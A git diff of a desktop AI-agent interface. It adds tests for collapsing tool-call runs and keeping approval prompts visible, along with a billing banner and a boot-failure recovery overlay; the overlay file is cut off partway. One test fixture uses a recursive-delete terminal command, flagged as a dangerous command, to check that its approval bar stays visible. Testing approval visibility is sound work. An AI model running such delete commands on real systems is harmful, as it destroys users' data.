+// A run of tool calls collapses to a one-line summary once it has settled, but
+// a run with anything still pending always renders its rows. That rule is what
+// keeps the "approval must never be buried" bug fixed: an inline ApprovalBar
+// only ever exists on a pending tool, and a pending tool's run is never behind
+// a chevron. These cover both halves — the collapse itself, and the approval
+// staying in the visual flow.
+
+const createdAt = new Date('2026-06-03T00:00:00.000Z')
+
+const resizeObservers = new Set<TestResizeObserver>()
+
+class TestResizeObserver {
+  private target: Element | null = null
+
+  constructor(private readonly callback: ResizeObserverCallback) {
+    resizeObservers.add(this)
+  }
+
+  observe(target: Element) {
+    this.target = target
+  }
+
+  unobserve() {}
+
+  disconnect() {
+    resizeObservers.delete(this)
+  }
+}
+
+vi.stubGlobal('ResizeObserver', TestResizeObserver)
+vi.stubGlobal('requestAnimationFrame', (callback: FrameRequestCallback) =>
+  window.setTimeout(() => callback(performance.now()), 0)
+)
+vi.stubGlobal('cancelAnimationFrame', (id: number) => window.clearTimeout(id))
+
+Element.prototype.scrollTo = function scrollTo() {}
+
+Element.prototype.animate = function animate() {
+  return {
+    cancel: () => {},
+    finished: Promise.resolve()
+  } as unknown as Animation
+}
+
+function stubOffsetDimension(
+  prop: 'offsetHeight' | 'offsetWidth',
+  clientProp: 'clientHeight' | 'clientWidth',
+  fallback: number
+) {
+  const previous = Object.getOwnPropertyDescriptor(HTMLElement.prototype, prop)
+
+  Object.defineProperty(HTMLElement.prototype, prop, {
+    configurable: true,
+    get() {
+      return previous?.get?.call(this) || (this as HTMLElement)[clientProp] || fallback
+    }
+  })
+}
+
+stubOffsetDimension('offsetWidth', 'clientWidth', 800)
+stubOffsetDimension('offsetHeight', 'clientHeight', 600)
+
+// A running assistant message with two tools: a completed read_file plus a
+// pending terminal (no result), rendered as a flat two-row list.
+function groupedPendingMessage(): ThreadMessage {
+  return {
+    id: 'assistant-group-1',
+    role: 'assistant',
+    content: [
+      {
+        type: 'tool-call',
+        toolCallId: 'read-1',
+        toolName: 'read_file',
+        args: { path: '/etc/hosts' },
+        argsText: JSON.stringify({ path: '/etc/hosts' }),
+        result: { content: '127.0.0.1 localhost' }
+      },
+      {
+        type: 'tool-call',
+        toolCallId: 'term-1',
+        toolName: 'terminal',
+        args: { command: 'rm -rf /tmp/x' },
+        argsText: JSON.stringify({ command: 'rm -rf /tmp/x' })
+      }
+    ],
+    status: { type: 'running' },
+    createdAt,
+    metadata: {
+      unstable_state: null,
+      unstable_annotations: [],
+      unstable_data: [],
+      steps: [],
+      custom: {}
+    }
+  } as ThreadMessage
+}
+
+function pendingOnlyMessage(): ThreadMessage {
+  return {
+    id: 'assistant-pending-only',
+    role: 'assistant',
+    content: [
+      {
+        type: 'tool-call',
+        toolCallId: 'term-only',
+        toolName: 'terminal',
+        args: { command: 'sleep 10' },
+        argsText: JSON.stringify({ command: 'sleep 10' })
+      }
+    ],
+    status: { type: 'running' },
+    createdAt,
+    metadata: {
+      unstable_state: null,
+      unstable_annotations: [],
+      unstable_data: [],
+      steps: [],
+      custom: {}
+    }
+  } as ThreadMessage
+}
+
+function completedOnlyMessage(): ThreadMessage {
+  return {
+    id: 'assistant-completed-only',
+    role: 'assistant',
+    content: [
+      {
+        type: 'tool-call',
+        toolCallId: 'read-only',
+        toolName: 'read_file',
+        args: { path: '/etc/hosts' },
+        argsText: JSON.stringify({ path: '/etc/hosts' }),
+        result: { content: '127.0.0.1 localhost' }
+      }
+    ],
+    status: { type: 'complete', reason: 'stop' },
+    createdAt,
+    metadata: {
+      unstable_state: null,
+      unstable_annotations: [],
+      unstable_data: [],
+      steps: [],
+      custom: {}
+    }
+  } as ThreadMessage
+}
+
+function failedOnlyMessage(): ThreadMessage {
+  return {
+    id: 'assistant-failed-only',
+    role: 'assistant',
+    content: [
+      {
+        type: 'tool-call',
+        toolCallId: 'term-failed',
+        toolName: 'terminal',
+        args: { command: 'exit 1' },
+        argsText: JSON.stringify({ command: 'exit 1' }),
+        isError: true,
+        result: { stderr: 'boom' }
+      }
+    ],
+    status: { type: 'complete', reason: 'stop' },
+    createdAt,
+    metadata: {
+      unstable_state: null,
+      unstable_annotations: [],
+      unstable_data: [],
+      steps: [],
+      custom: {}
+    }
+  } as ThreadMessage
+}
+
+// Two settled activity calls in a row, so the run earns a summary line and
+// collapses behind it.
+function settledRunMessage(): ThreadMessage {
+  return {
+    id: 'assistant-settled-run',
+    role: 'assistant',
+    content: [
+      {
+        type: 'tool-call',
+        toolCallId: 'read-2',
+        toolName: 'read_file',
+        args: { path: '/repo/src/wiring.tsx' },
+        argsText: JSON.stringify({ path: '/repo/src/wiring.tsx' }),
+        result: { content: 'export const Wiring = () => null' }
+      },
+      {
+        type: 'tool-call',
+        toolCallId: 'term-3',
+        toolName: 'terminal',
+        args: { command: 'ls -la' },
+        argsText: JSON.stringify({ command: 'ls -la' }),
+        result: { exit_code: 0, stdout: 'wiring.tsx' }
+      }
+    ],
+    status: { type: 'complete', reason: 'stop' },
+    createdAt,
+    metadata: {
+      unstable_state: null,
+      unstable_annotations: [],
+      unstable_data: [],
+      steps: [],
+      custom: {}
+    }
+  } as ThreadMessage
+}
+
+// Activity, an edit, then more activity — all adjacent, so assistant-ui hands
+// the whole stretch over as one group. The edit is the deliverable and has to
+// survive that as its own card.
+function editBetweenRunsMessage(): ThreadMessage {
+  return {
+    id: 'assistant-edit-between-runs',
+    role: 'assistant',
+    content: [
+      {
+        type: 'tool-call',
+        toolCallId: 'read-5',
+        toolName: 'read_file',
+        args: { path: '/repo/src/a.ts' },
+        argsText: JSON.stringify({ path: '/repo/src/a.ts' }),
+        result: { content: 'a' }
+      },
+      {
+        type: 'tool-call',
+        toolCallId: 'search-3',
+        toolName: 'search_files',
+        args: { query: 'toolRuns' },
+        argsText: JSON.stringify({ query: 'toolRuns' }),
+        result: { hits: [] }
+      },
+      {
+        type: 'tool-call',
+        toolCallId: 'patch-2',
+        toolName: 'patch',
+        args: { path: '/repo/src/wiring.tsx' },
+        argsText: JSON.stringify({ path: '/repo/src/wiring.tsx' }),
+        result: { path: '/repo/src/wiring.tsx', inline_diff: '--- a\n+++ b\n+added line\n-removed line' }
+      },
+      {
+        type: 'tool-call',
+        toolCallId: 'read-6',
+        toolName: 'read_file',
+        args: { path: '/repo/src/b.ts' },
+        argsText: JSON.stringify({ path: '/repo/src/b.ts' }),
+        result: { content: 'b' }
+      },
+      {
+        type: 'tool-call',
+        toolCallId: 'term-4',
+        toolName: 'terminal',
+        args: { command: 'ls' },
+        argsText: JSON.stringify({ command: 'ls' }),
+        result: { exit_code: 0 }
+      }
+    ],
+    status: { type: 'complete', reason: 'stop' },
+    createdAt,
+    metadata: {
+      unstable_state: null,
+      unstable_annotations: [],
+      unstable_data: [],
+      steps: [],
+      custom: {}
+    }
+  } as ThreadMessage
+}
+
+// A finished turn that left a call without a result — interrupted, or the
+// result landed elsewhere. The run is history and has to behave like it.
+function abandonedRunMessage(): ThreadMessage {
+  return {
+    id: 'assistant-abandoned-run',
+    role: 'assistant',
+    content: [
+      {
+        type: 'tool-call',
+        toolCallId: 'read-3',
+        toolName: 'read_file',
+        args: { path: '/repo/src/status.tsx' },
+        argsText: JSON.stringify({ path: '/repo/src/status.tsx' }),
+        result: { content: 'export const Status = () => null' }
+      },
+      {
+        type: 'tool-call',
+        toolCallId: 'search-1',
+        toolName: 'search_files',
+        args: { query: 'toolRuns' },
+        argsText: JSON.stringify({ query: 'toolRuns' })
+      }
+    ],
+    status: { type: 'complete', reason: 'stop' },
+    createdAt,
+    metadata: {
+      unstable_state: null,
+      unstable_annotations: [],
+      unstable_data: [],
+      steps: [],
+      custom: {}
+    }
+  } as ThreadMessage
+}
+
+// The gap between one sequential call finishing and the next arriving: the
+// turn is still running, the run is still the tail, but for this instant every
+// call has a result.
+function betweenSequentialCallsMessage(): ThreadMessage {
+  return {
+    id: 'assistant-between-calls',
+    role: 'assistant',
+    content: [
+      {
+        type: 'tool-call',
+        toolCallId: 'term-a',
+        toolName: 'terminal',
+        args: { command: 'sleep 2; echo alpha' },
+        argsText: JSON.stringify({ command: 'sleep 2; echo alpha' }),
+        result: { exit_code: 0, stdout: 'alpha' }
+      },
+      {
+        type: 'tool-call',
+        toolCallId: 'term-b',
+        toolName: 'terminal',
+        args: { command: 'sleep 2; echo bravo' },
+        argsText: JSON.stringify({ command: 'sleep 2; echo bravo' }),
+        result: { exit_code: 0, stdout: 'bravo' }
+      }
+    ],
+    status: { type: 'running' },
+    createdAt,
+    metadata: {
+      unstable_state: null,
+      unstable_annotations: [],
+      unstable_data: [],
+      steps: [],
+      custom: {}
+    }
+  } as ThreadMessage
+}
+
+// Still streaming, but the agent has moved past its first run and left both of
+// its calls unresolved. Only the run at the tail is still live.
+function movedOnMessage(): ThreadMessage {
+  return {
+    id: 'assistant-moved-on',
+    role: 'assistant',
+    content: [
+      {
+        type: 'tool-call',
+        toolCallId: 'read-4',
+        toolName: 'read_file',
+        args: { path: '/repo/src/status.tsx' },
+        argsText: JSON.stringify({ path: '/repo/src/status.tsx' })
+      },
+      {
+        type: 'tool-call',
+        toolCallId: 'search-2',
+        toolName: 'search_files',
+        args: { query: 'toolRuns' },
+        argsText: JSON.stringify({ query: 'toolRuns' })
+      },
+      { type: 'text', text: 'Let me read the rest of the file.' },
+      {
+        type: 'tool-call',
+        toolCallId: 'term-2',
+        toolName: 'terminal',
+        args: { command: 'ls' },
+        argsText: JSON.stringify({ command: 'ls' })
+      }
+    ],
+    status: { type: 'running' },
+    createdAt,
+    metadata: {
+      unstable_state: null,
+      unstable_annotations: [],
+      unstable_data: [],
+      steps: [],
+      custom: {}
+    }
+  } as ThreadMessage
+}
+
+function GroupHarness({ message }: { message: ThreadMessage }) {
+  const runtime = useExternalStoreRuntime<ThreadMessage>({
+    messages: [message],
+    isRunning: message.status?.type === 'running',
+    onNew: async () => {}
+  })
+
+  return (
+    <AssistantRuntimeProvider runtime={runtime}>
+      <Thread />
+    </AssistantRuntimeProvider>
+  )
+}
+
+beforeEach(() => {
+  clearAllPrompts()
+  $activeSessionId.set('sess-1')
+  $toolDisclosureStates.set({})
+  clearDismissedToolRows()
+})
+
+afterEach(() => {
+  cleanup()
+  clearAllPrompts()
+  $activeSessionId.set(null)
+  clearDismissedToolRows()
+})
+
+describe('settled tool run', () => {
+  it('collapses to a summary line naming the work', async () => {
+    const { container } = render(<GroupHarness message={settledRunMessage()} />)
+
+    expect(await screen.findByText('Explored wiring.tsx, ran 1 command')).toBeTruthy()
+    expect(container.querySelectorAll('[data-tool-row]')).toHaveLength(0)
+  })
+
+  it('expands to the underlying rows when the summary is clicked', async () => {
+    const { container } = render(<GroupHarness message={settledRunMessage()} />)
+
+    fireEvent.click(await screen.findByText('Explored wiring.tsx, ran 1 command'))
+
+    await waitFor(() => {
+      expect(container.querySelectorAll('[data-tool-row]').length).toBeGreaterThan(0)
+    })
+  })
+
+  it('leaves a lone tool call as its own row, with no summary above it', async () => {
+    const { container } = render(<GroupHarness message={completedOnlyMessage()} />)
+
+    await waitFor(() => {
+      expect(container.querySelectorAll('[data-tool-row]').length).toBe(1)
+    })
+    expect(container.querySelector('[data-tool-summary]')).toBeNull()
+  })
+})
+
+// A diff is what the user reviews, so it is never what gets summarized away.
+// It stays on screen at the point in the turn where it happened, with the
+// activity either side of it collapsing around it.
+describe('a file edit among ordinary activity', () => {
+  it('stays visible between the two runs it interrupted', async () => {
+    const { container } = render(<GroupHarness message={editBetweenRunsMessage()} />)
+
+    await screen.findByText('Explored 2 files')
+
+    const shape = [...container.querySelectorAll('[data-tool-summary],[data-tool-row]')].map(node =>
+      node.hasAttribute('data-tool-summary') ? 'summary' : 'row'
+    )
+
+    expect(shape).toEqual(['summary', 'row', 'summary'])
+  })
+
+  it('keeps the diff itself on screen rather than behind the summary', async () => {
+    const { container } = render(<GroupHarness message={editBetweenRunsMessage()} />)
+
+    await waitFor(() => {
+      expect(container.querySelector('[data-tool-row][data-file-edit]')).not.toBeNull()
+    })
+  })
+})
+
+// The transcript rests its scaffolding at a fade, keyed off one attribute. A
+// surface that renders without it is brighter than everything around it, which
+// is how two adjacent, identical rows came to sit at two opacities.
+describe('transcript fade', () => {
+  it('marks every row and summary as scaffolding', async () => {
+    const { container } = render(<GroupHarness message={editBetweenRunsMessage()} />)
+
+    await screen.findByText('Explored 2 files')
+
+    const unmarked = [...container.querySelectorAll('[data-tool-summary],[data-tool-row]')].filter(
+      node => !node.hasAttribute('data-conversation-scaffold')
+    )
+
+    expect(unmarked).toHaveLength(0)
+  })
+})
+
+describe('live tool run', () => {
+  it('keeps its rows on screen instead of hiding them behind the summary', async () => {
+    const { container } = render(<GroupHarness message={groupedPendingMessage()} />)
+
+    await waitFor(() => {
+      expect(container.querySelectorAll('[data-tool-row]').length).toBeGreaterThan(0)
+    })
+  })
+
+  it('cannot be collapsed while a tool is still running', async () => {
+    const { container } = render(<GroupHarness message={groupedPendingMessage()} />)
+
+    await waitFor(() => {
+      expect(container.querySelector('[data-tool-summary]')).not.toBeNull()
+    })
+
+    expect(container.querySelector('[data-tool-summary] button[aria-expanded]')).toBeNull()
+  })
+
+  // Liveness used to also require an unresolved call, which is false for the
+  // instant between one sequential call finishing and the next arriving — so a
+  // string of commands settled and re-opened between every one, unmounting the
+  // ticker and dropping its reel back to the first row instead of scrolling.
+  it('stays live in the gap between two sequential calls', async () => {
+    const { container } = render(<GroupHarness message={betweenSequentialCallsMessage()} />)
+
+    expect(await screen.findByText('Running 2 commands')).toBeTruthy()
+    expect(container.querySelector('[data-tool-ticker]')).not.toBeNull()
+    expect(container.querySelector('[data-tool-summary] button[aria-expanded]')).toBeNull()
+  })
+
+  // The ticker is a one-line window, so a row opened inside it had its output
+  // sliced to that line and then ticked away by the next call. Opening a row
+  // is a request to read it: the run gives up the window until it settles.
+  it('drops the one-line window when a row inside it is opened', async () => {
+    const { container } = render(<GroupHarness message={betweenSequentialCallsMessage()} />)
+
+    await screen.findByText('Running 2 commands')
+
+    const row = container.querySelector('[data-tool-ticker] [data-tool-row] button[aria-expanded="false"]')
+
+    expect(row).not.toBeNull()
+
+    fireEvent.click(row as Element)
+
+    await waitFor(() => {
+      expect(container.querySelector('[data-tool-ticker]')).toBeNull()
+    })
+
+    // ...and the row it opened is still on screen to be read.
+    expect(container.querySelector('[data-tool-row][data-tool-open]')).not.toBeNull()
+  })
+})
+
+// A run whose calls never resolved used to read as live forever, which stranded
+// it in the present tense and — because a live run withholds its toggle — left
+// it permanently expanded with no way to collapse it.
+describe('tool run left unresolved', () => {
+  it('settles with the turn rather than narrating work that stopped', async () => {
+    const { container } = render(<GroupHarness message={abandonedRunMessage()} />)
+
+    expect(await screen.findByText('Explored 2 files')).toBeTruthy()
+    expect(container.querySelectorAll('[data-tool-row]')).toHaveLength(0)
+    expect(container.querySelector('[data-tool-summary] button[aria-expanded]')).not.toBeNull()
+  })
+
+  it('settles once the agent moves on, even mid-turn', async () => {
+    const { container } = render(<GroupHarness message={movedOnMessage()} />)
+
+    expect(await screen.findByText('Explored 2 files')).toBeTruthy()
+    expect(container.querySelector('[data-tool-summary] button[aria-expanded]')).not.toBeNull()
+  })
+})
+
+describe('flat tool list approval surfacing', () => {
+  it('renders no inline approval bar when there is no live approval', async () => {
+    const { container } = render(<GroupHarness message={groupedPendingMessage()} />)
+
+    // The pending terminal row mounts immediately, but its inline ApprovalBar
+    // returns null while $approvalRequest is empty.
+    await waitFor(() => {
+      expect(container.querySelectorAll('[data-slot="tool-block"]').length).toBeGreaterThan(0)
+    })
+    expect(container.querySelector('[data-slot="tool-approval-inline"]')).toBeNull()
+  })
+
+  it('surfaces the approval inline and never under a hidden ancestor', async () => {
+    setApprovalRequest({ command: 'rm -rf /tmp/x', description: 'dangerous command', sessionId: 'sess-1' })
+
+    const { container } = render(<GroupHarness message={groupedPendingMessage()} />)
+
+    await waitFor(() => {
+      const bar = container.querySelector('[data-slot="tool-approval-inline"]')
+      expect(bar).not.toBeNull()
+      // Flat rows live directly in the flow — nothing should ever wrap the bar
+      // in a `hidden` subtree.
+      expect(bar?.closest('[hidden]')).toBeNull()
+    })
+  })
+
+  it('lets completed tool rows be dismissed', async () => {
+    const { container } = render(<GroupHarness message={completedOnlyMessage()} />)
+
+    const dismiss = await screen.findByLabelText('Dismiss')
+
+    expect(container.querySelectorAll('[data-slot="tool-block"]').length).toBeGreaterThan(0)
+
+    fireEvent.click(dismiss)
+
+    await waitFor(() => {
+      expect(screen.queryByLabelText('Dismiss')).toBeNull()
+    })
+  })
+
+  it('keeps a dismissed row hidden after a remount (virtualization)', async () => {
+    // The thread virtualizes, so a row's component unmounts/remounts as it
+    // scrolls. Dismissal must persist across that — component-local state would
+    // forget it and the row would pop back. Simulate the remount by unmounting
+    // and rendering the same message fresh.
+    const first = render(<GroupHarness message={completedOnlyMessage()} />)
+
+    fireEvent.click(await screen.findByLabelText('Dismiss'))
+
+    await waitFor(() => {
+      expect(screen.queryByLabelText('Dismiss')).toBeNull()
+    })
+
+    first.unmount()
+
+    render(<GroupHarness message={completedOnlyMessage()} />)
+
+    // The row is the only thing this message renders, so staying dismissed
+    // means nothing comes back — including its dismiss control.
+    await waitFor(() => {
+      expect(screen.queryByLabelText('Dismiss')).toBeNull()
+    })
+  })
+
+  it('lets failed tool rows be dismissed', async () => {
+    render(<GroupHarness message={failedOnlyMessage()} />)
+
+    const dismiss = await screen.findByLabelText('Dismiss')
+
+    fireEvent.click(dismiss)
+
+    await waitFor(() => {
+      expect(screen.queryByLabelText('Dismiss')).toBeNull()
+    })
+  })
+
+  it('does not show dismiss for pending tool rows', async () => {
+    const { container } = render(<GroupHarness message={pendingOnlyMessage()} />)
+
+    await waitFor(() => {
+      expect(container.querySelectorAll('[data-slot="tool-block"]').length).toBeGreaterThan(0)
+    })
+
+    expect(screen.queryByLabelText('Dismiss')).toBeNull()
+  })
+})
diff --git a/ui-desktop/src/components/assistant-ui/tooltip-icon-button.tsx b/ui-desktop/src/components/assistant-ui/tooltip-icon-button.tsx
new file mode 100644
index 000000000..cd4da8aad
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/tooltip-icon-button.tsx
@@ -0,0 +1,33 @@
+'use client'
+
+import { type ComponentPropsWithRef, forwardRef } from 'react'
+
+import { Button } from '@/components/ui/button'
+import { Tip } from '@/components/ui/tooltip'
+import { cn } from '@/lib/utils'
+
+export interface TooltipIconButtonProps extends ComponentPropsWithRef<typeof Button> {
+  tooltip: string
+  side?: 'top' | 'bottom' | 'left' | 'right'
+}
+
+export const TooltipIconButton = forwardRef<HTMLButtonElement, TooltipIconButtonProps>(
+  ({ children, tooltip, side = 'bottom', className, ...rest }, ref) => {
+    return (
+      <Tip label={tooltip} side={side}>
+        <Button
+          size="icon-xs"
+          variant="ghost"
+          {...rest}
+          aria-label={tooltip}
+          className={cn('aui-button-icon', className)}
+          ref={ref}
+        >
+          {children}
+        </Button>
+      </Tip>
+    )
+  }
+)
+
+TooltipIconButton.displayName = 'TooltipIconButton'
diff --git a/ui-desktop/src/components/billing-banner.tsx b/ui-desktop/src/components/billing-banner.tsx
new file mode 100644
index 000000000..73f7107de
--- /dev/null
+++ b/ui-desktop/src/components/billing-banner.tsx
@@ -0,0 +1,72 @@
+import { useStore } from '@nanostores/react'
+
+import { StatusRow } from '@/components/chat/status-row'
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { Tip } from '@/components/ui/tooltip'
+import { useI18n } from '@/i18n'
+import { $billingBlock, billingCtaLabel, clearBillingBlock, runBillingRecovery } from '@/store/billing-block'
+
+function firstLine(text: string): string {
+  return (text || '').split('\n')[0]?.trim() ?? ''
+}
+
+/**
+ * Persistent, in-stack billing wall for THIS session. Rendered as a shared
+ * {@link StatusRow} — same chrome as its status-stack siblings, so it reads as
+ * one piece with the composer card (no bordered alert-in-a-card). It never
+ * disables the composer — slash commands (`/topup`, `/model`, `/login`) stay
+ * usable — it only offers recovery: Nous opens Settings → Billing in-app, other
+ * providers deep-link out. The sticky toast is the loud surface; this is the calm
+ * reminder that outlives it.
+ */
+export function BillingBanner({ sessionId }: { sessionId: null | string }) {
+  const active = useStore($billingBlock)
+  const { t } = useI18n()
+
+  if (!active || !sessionId || active.sessionId !== sessionId) {
+    return null
+  }
+
+  const { block } = active
+  const copy = t.billingBlock
+  const title = block.is_nous ? copy.titleNous : copy.titleProvider(block.provider_label)
+  const message = firstLine(block.message) || copy.fallbackMessage
+
+  return (
+    <StatusRow
+      leading={<Codicon aria-hidden className="text-destructive/85" name="credit-card" size="0.8rem" />}
+      trailing={
+        <>
+          <Button
+            className="text-foreground/90 hover:text-foreground"
+            onClick={() => runBillingRecovery(block)}
+            size="micro"
+            type="button"
+            variant="text"
+          >
+            {billingCtaLabel(block, copy)}
+          </Button>
+          <Tip label={copy.dismiss}>
+            <Button
+              aria-label={copy.dismiss}
+              className="size-4 rounded-md text-muted-foreground/60 hover:text-foreground/90"
+              onClick={() => clearBillingBlock(sessionId)}
+              size="icon-xs"
+              type="button"
+              variant="ghost"
+            >
+              <Codicon name="close" size="0.75rem" />
+            </Button>
+          </Tip>
+        </>
+      }
+      trailingVisible
+    >
+      <span className="min-w-0 truncate text-[0.73rem] leading-4 text-foreground/92">
+        <span className="font-medium">{title}</span>
+        {message && <span className="text-muted-foreground/80"> · {message}</span>}
+      </span>
+    </StatusRow>
+  )
+}
diff --git a/ui-desktop/src/components/boot-failure-overlay.test.tsx b/ui-desktop/src/components/boot-failure-overlay.test.tsx
new file mode 100644
index 000000000..392858200
--- /dev/null
+++ b/ui-desktop/src/components/boot-failure-overlay.test.tsx
@@ -0,0 +1,101 @@
+import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it } from 'vitest'
+
+import { $desktopBoot } from '@/store/boot'
+import { $desktopOnboarding } from '@/store/onboarding'
+
+import { BootFailureOverlay } from './boot-failure-overlay'
+
+// Remote-backend users hit a hard boot failure that isn't OAuth reauth (token
+// auth, wrong URL, unreachable host). The recovery screen must let them fix the
+// remote connection in place — the "Connection settings" action swaps the card
+// to an in-line connect form — instead of stranding them (the old bug forced a
+// hand-edit of connection.json).
+
+function failBoot() {
+  $desktopBoot.set({
+    error: 'Could not connect to ClawCodex gateway',
+    fakeMode: false,
+    message: 'boot failed',
+    phase: 'renderer.error',
+    progress: 40,
+    running: false,
+    timestamp: Date.now(),
+    visible: true
+  })
+}
+
+function stubDesktop(config: Record<string, unknown>) {
+  const original = window.clawcodexDesktop
+  Object.defineProperty(window, 'clawcodexDesktop', {
+    configurable: true,
+    value: { getRecentLogs: async () => ({ lines: [] }), getConnectionConfig: async () => config }
+  })
+
+  return () => Object.defineProperty(window, 'clawcodexDesktop', { configurable: true, value: original })
+}
+
+const remoteToken = {
+  envOverride: false,
+  mode: 'remote',
+  profile: null,
+  remoteAuthMode: 'token',
+  remoteOauthConnected: false,
+  remoteTokenPreview: null,
+  remoteTokenSet: true,
+  remoteUrl: 'http://100.116.104.53:9191',
+  cloudOrg: ''
+}
+
+beforeEach(() => {
+  $desktopOnboarding.set({
+    configured: true,
+    flow: { status: 'idle' },
+    mode: 'oauth',
+    providers: null,
+    reason: null,
+    requested: false,
+    firstRunSkipped: false,
+    manual: false,
+    localEndpoint: false
+  })
+  failBoot()
+})
+
+afterEach(cleanup)
+
+describe('BootFailureOverlay', () => {
+  it('swaps to the in-place gateway settings view (no route nav) and back', async () => {
+    render(<BootFailureOverlay />)
+
+    fireEvent.click(screen.getByRole('button', { name: /gateway settings/i }))
+    // Recovery actions give way to the embedded panel (behind a Back control).
+    expect(await screen.findByRole('button', { name: /back/i })).toBeTruthy()
+    expect(screen.queryByRole('button', { name: /retry/i })).toBeNull()
+
+    fireEvent.click(screen.getByRole('button', { name: /back/i }))
+    expect(screen.getByRole('button', { name: /retry/i })).toBeTruthy()
+    expect(screen.queryByRole('button', { name: /back/i })).toBeNull()
+  })
+
+  it('drops local-only Repair and Use-local-gateway on a local failure', () => {
+    render(<BootFailureOverlay />)
+    // No connection config stub → treated as a local failure.
+    expect(screen.getByRole('button', { name: /retry/i })).toBeTruthy()
+    expect(screen.getByRole('button', { name: /repair/i })).toBeTruthy()
+    expect(screen.queryByRole('button', { name: /use local gateway/i })).toBeNull()
+  })
+
+  it('leads with Gateway settings and drops Repair for a remote (token) failure', async () => {
+    const restore = stubDesktop(remoteToken)
+
+    try {
+      render(<BootFailureOverlay />)
+      await waitFor(() => expect(screen.queryByRole('button', { name: /repair/i })).toBeNull())
+      expect(screen.getByRole('button', { name: /gateway settings/i })).toBeTruthy()
+      expect(screen.getByRole('button', { name: /use local gateway/i })).toBeTruthy()
+    } finally {
+      restore()
+    }
+  })
+})
diff --git a/ui-desktop/src/components/boot-failure-overlay.tsx b/ui-desktop/src/components/boot-failure-overlay.tsx
new file mode 100644
index 000000000..f0955ed4c
--- /dev/null
+++ b/ui-desktop/src/components/boot-failure-overlay.tsx
@@ -0,0 +1,363 @@
+import { useStore } from '@nanostores/react'
+import { type ComponentProps, lazy, type ReactNode, Suspense, useEffect, useState } from 'react'
+
+import { Button } from '@/components/ui/button'
+import { ErrorIcon } from '@/components/ui/error-state'
+import { Loader } from '@/components/ui/loader'
+import { LogView } from '@/components/ui/log-view'
+import type { DesktopConnectionConfig } from '@/global'
+import { useI18n } from '@/i18n'
+import { ChevronLeft, FileText, Loader2, LogIn, RefreshCw, SlidersHorizontal, Wrench } from '@/lib/icons'
+import { $desktopBoot } from '@/store/boot'
+import { notify, notifyError } from '@/store/notifications'
+import { $desktopOnboarding } from '@/store/onboarding'
+
+import type { RemoteReauth } from './boot-failure-reauth'
+import {
+  deriveProviderShape,
+  isRemoteConfig,
+  isRemoteReauthFailure,
+  signInLabel,
+  sshFailureMessage
+} from './boot-failure-reauth'
+
+// The recovery "Gateway settings" view embeds the real Settings → Gateway panel
+// (identical URL/auth/test/save controls — no parallel form to drift). Lazy so
+// it stays out of the always-mounted overlay's bundle until opened.
+const GatewaySettings = lazy(() =>
+  import('@/app/settings/gateway-settings').then(module => ({ default: module.GatewaySettings }))
+)
+
+type BusyAction = 'local' | 'repair' | 'retry' | 'signin' | null
+type RecoveryView = 'connect' | 'recovery'
+
+// A remote gateway whose access cookie has lapsed (e.g. the dashboard
+// restarted on the remote box) boots into this overlay with a reauth-shaped
+// error. The local-recovery buttons (Retry resets the local bootstrap latch;
+// Repair re-runs the installer) are no-ops for that case — the only fix is to
+// re-establish the remote session. The detection + copy helpers live in
+// ./boot-failure-reauth so they're unit-testable without a React render.
+
+// Recovery surface for a hard boot failure (gateway never came up, backend
+// exited during startup, bootstrap latched, …). Without this the app shell
+// renders dead — "gateway offline", no composer, only a toast — with no way
+// to retry, repair the install, switch the gateway, or find the logs.
+export function BootFailureOverlay() {
+  const boot = useStore($desktopBoot)
+  const onboarding = useStore($desktopOnboarding)
+  const { t } = useI18n()
+  const [busy, setBusy] = useState<BusyAction>(null)
+  const [logs, setLogs] = useState<string[]>([])
+  const [showLogs, setShowLogs] = useState(false)
+  const [remoteReauth, setRemoteReauth] = useState<RemoteReauth | null>(null)
+  const [connectionConfig, setConnectionConfig] = useState<DesktopConnectionConfig | null>(null)
+  // A remote/cloud backend that failed to boot is fixable from gateway settings,
+  // so the escape hatch earns emphasis (local failures keep it as a quiet ghost).
+  const [remoteFailure, setRemoteFailure] = useState(false)
+  // Swap the card body to the embedded Gateway settings panel in place of routing
+  // to the full Settings page (keeps the user on the recovery surface, no z-index
+  // juggling, no second connection form to maintain).
+  const [view, setView] = useState<RecoveryView>('recovery')
+
+  const visible = Boolean(boot.error) && !boot.running
+  // While first-run onboarding owns the picker/flow we let it surface its own
+  // progress; the recovery overlay is for hard failures, which it covers via a
+  // higher z-index regardless of onboarding state.
+  const suppressed = onboarding.flow.status !== 'idle' && onboarding.flow.status !== 'error'
+
+  useEffect(() => {
+    if (!visible) {
+      return
+    }
+
+    void window.clawcodexDesktop
+      ?.getRecentLogs()
+      .then(res => setLogs(res.lines ?? []))
+      .catch(() => undefined)
+  }, [boot.error, visible])
+
+  // Resolve whether this boot failure is a remote-gateway reauth so we can
+  // offer the actionable "Sign in" path instead of the local-only recovery
+  // buttons. Runs whenever the overlay becomes visible.
+  useEffect(() => {
+    if (!visible) {
+      setRemoteReauth(null)
+      setConnectionConfig(null)
+      setRemoteFailure(false)
+      setView('recovery')
+
+      return
+    }
+
+    let cancelled = false
+
+    void (async () => {
+      const desktop = window.clawcodexDesktop
+
+      if (!desktop?.getConnectionConfig) {
+        return
+      }
+
+      let config: DesktopConnectionConfig
+
+      try {
+        config = await desktop.getConnectionConfig()
+      } catch {
+        return
+      }
+
+      if (cancelled) {
+        return
+      }
+
+      setConnectionConfig(config)
+      setRemoteFailure(isRemoteConfig(config))
+
+      if (!isRemoteReauthFailure(config, boot.error)) {
+        return
+      }
+
+      // Best-effort probe for the provider shape so the button copy matches
+      // what the user will see in the login window (password form vs OAuth
+      // redirect). Probe failure just keeps the generic copy.
+      let shape = deriveProviderShape(null)
+
+      try {
+        const probe = await desktop.probeConnectionConfig(config.remoteUrl)
+        shape = deriveProviderShape(probe?.providers)
+      } catch {
+        // Generic copy is fine.
+      }
+
+      if (!cancelled) {
+        setRemoteReauth({ url: config.remoteUrl, ...shape })
+      }
+    })()
+
+    return () => {
+      cancelled = true
+    }
+  }, [boot.error, visible])
+
+  if (!visible || suppressed) {
+    return null
+  }
+
+  const retry = async () => {
+    setBusy('retry')
+    await window.clawcodexDesktop?.resetBootstrap().catch(() => undefined)
+    window.location.reload()
+  }
+
+  const repair = async () => {
+    setBusy('repair')
+    await window.clawcodexDesktop?.repairBootstrap().catch(() => undefined)
+    window.location.reload()
+  }
+
